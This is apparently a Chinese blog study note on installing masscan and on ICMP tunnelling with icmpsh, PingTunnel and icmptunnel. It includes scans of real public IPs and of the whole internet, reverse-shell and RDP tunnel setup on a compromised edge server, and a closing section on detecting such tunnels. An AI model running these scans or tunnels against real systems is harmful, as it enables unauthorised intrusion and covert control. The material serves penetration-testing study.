8月15日笔记

masscan安装使用

首先需要有c编译器环境。查看是否有c编译器环境:

gcc -v

如果系统中已经安装了 GCC,这个命令将输出 GCC 的版本信息。如果未安装,你会看到类似于 “command not found” 的错误消息。
如果没有下载,使用如下命令:

sudo apt-get --assume-yes install git make gcc

masscan下载

git clone https://github.com/robertdavidgraham/masscan

QQ_1723711908474.png
文件会下载到你打开命令行显示的路径下。

cd masscan  #第一步
make  #第二步

QQ_1723712067051.png
执行之后会在masscan/bin下生成一个可执行文件。
执行命令:

make install

QQ_1723712175043.png
安装完成。

用法

扫描某IP的部分端口

masscan 183.2.172.185 -p 0-400          #扫描指定IP下的0-400端口

高速扫描某ip下的端口

masscan -p 1-2000 125.217.52.215 --max-rate 100000  #扫描整个子网下1-2000端口

QQ_1723713780525.png

masscan 125.217.52.215 --top-ports 100 > result.txt       #扫描结果另存为result.txt文件

QQ_1723713893212.png
扫描整个互联网😅

masscan 0.0.0.0/0 -p0-65535 --max-rate 100000		//扫描整个互联网

只有ICMP协议出网场景

ICMP是一个比较特殊的协议,在一般的通信协议里如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要,最常见的ICMP消息为ping命令的回复,攻击者可以利用命令行得到比回复更多的ICMP请求,在通常情况下,每个ping命令都有相对应的回复与请求.
在内网中,如果攻击者使用 HTTP、DNS 等应用层隧道都失败了,那么或许可以试试网络层的 ICMP 隧道。
常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等。

icmpsh工具安装使用

icmpsh工具使用简单,便于"携带"(跨平台),运行时不需要管理员权限。下载命令。

git clone https://github.com/inquisb/icmpsh.git

QQ_1723726225987.png
攻击机和边缘服务器(被攻击者获取shell)都要安装。
因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入以下命令来关闭本地系统的ICMP应答(如果需要回复系统应答,则设置为0即可),否则shell的运行会不稳定(表现为一直刷屏,无法进行交互输入):

sysctl -w net.ipv4.icmp_echo_ignore_all=1

QQ_1723726841878.png
查看如何使用,根据脚本使用方法在终端执行以下命令:

python2 icmpsh_m.py 192.168.5.128 192.168.5.138

发现需要impacket安装包。使用命令

apt-get install python-impacket

发现找不到包。直接到github上找到源代码自己安装。

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python2 setup.py install
命令全部执行完之后可以把git下来的文件删掉了。

QQ_1723727639816.png
之后在边缘web服务器上执行以下命令:

icmpsh.exe -t 192.168.5.128

QQ_1723728255021.png
QQ_1723728274976.png
现在我们可以在攻击者的主机看到目标主机的shell。有点乱码,使用命令chcp 65001
QQ_1723728506309.png

PingTunnel的安装使用

经过浏览了数篇文章,发现icmpsh还是有些不足。第一,不能跨平台,其客户端只有icmpsh.exe针对windows的二进制文件,遇到靶机是*inux环境无法使用。第二,icmpsh本质上还不是一个隧道,只是一个反弹shell。第三,icmpsh没有密码认证机制,shell很可能被盗用。
PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,可以为隧道设置密码。
libpcap 是一个跨平台的 C 语言库,用于捕获和分析网络数据包。
安装libpcap的依赖环境

apt-get install byacc
apt-get install flex bison

QQ_1723731882299.png
安装libpcap依赖库

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

QQ_1723732148183.png
安装PingTunnel

wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

QQ_1723732309870.png
但是由于环境限制,我这里无法进行复现,那个pingtunnel环境是攻击机(kali)和边缘服务器(linux类型的)都要安装的。我这里只有windows边缘服务器😭。(暂停,以后有机会再搞)

icmptunnel安装使用

icmptunnelicmpsh 都是基于 ICMP 协议的隧道工具,但它们在功能上有所不同:icmptunnel 更侧重于提供一个稳定的、加密的双向数据传输隧道,支持多种加密方式,适用于长时间稳定连接的需求,如远程桌面或文件传输;而 icmpsh 则更偏向于提供一个交互式的 shell 环境,主要用于命令执行和简单文件传输。
首先去github下载项目:https://github.com/T3rry7f/ICMPTunnel
之后在拿到权限的边界服务器端禁用icmp回复:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

之后执行IcmpTunnel.py脚本:

python IcmpTunnel_S.py

之后再攻击主机执行以下命令:

python IcmpTunnel_C.py {serverIP} {needConnectIP} {needConnectPort}

之后在边界Server端返回一个port并在攻击主机端使用返回的port进行远程连接,此时的ip为边界服务器的ip地址:

rdesktop 192.168.5.128:44171

隧道防御

使用ICMP隧道时会产生大量的ICMP数据包,我们可以通过Wireshark进行ICMP数据包分析,以检测恶意ICMP流量。

  • 检测同一来源的ICMP数据包的数量,一个正常的ping命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包
  • 注意哪些Payload大于64bit的ICMP数据包
  • 寻找响应数据包中的Payload与请求数据包中的Payload不一致的ICMP数据包。
  • 检查ICMP数据包的协议标签,例如:icmptunnel会在所有的ICMP Payload前面添加"TUNL"标记来标识隧道——这就是特征。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

密码小丑

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值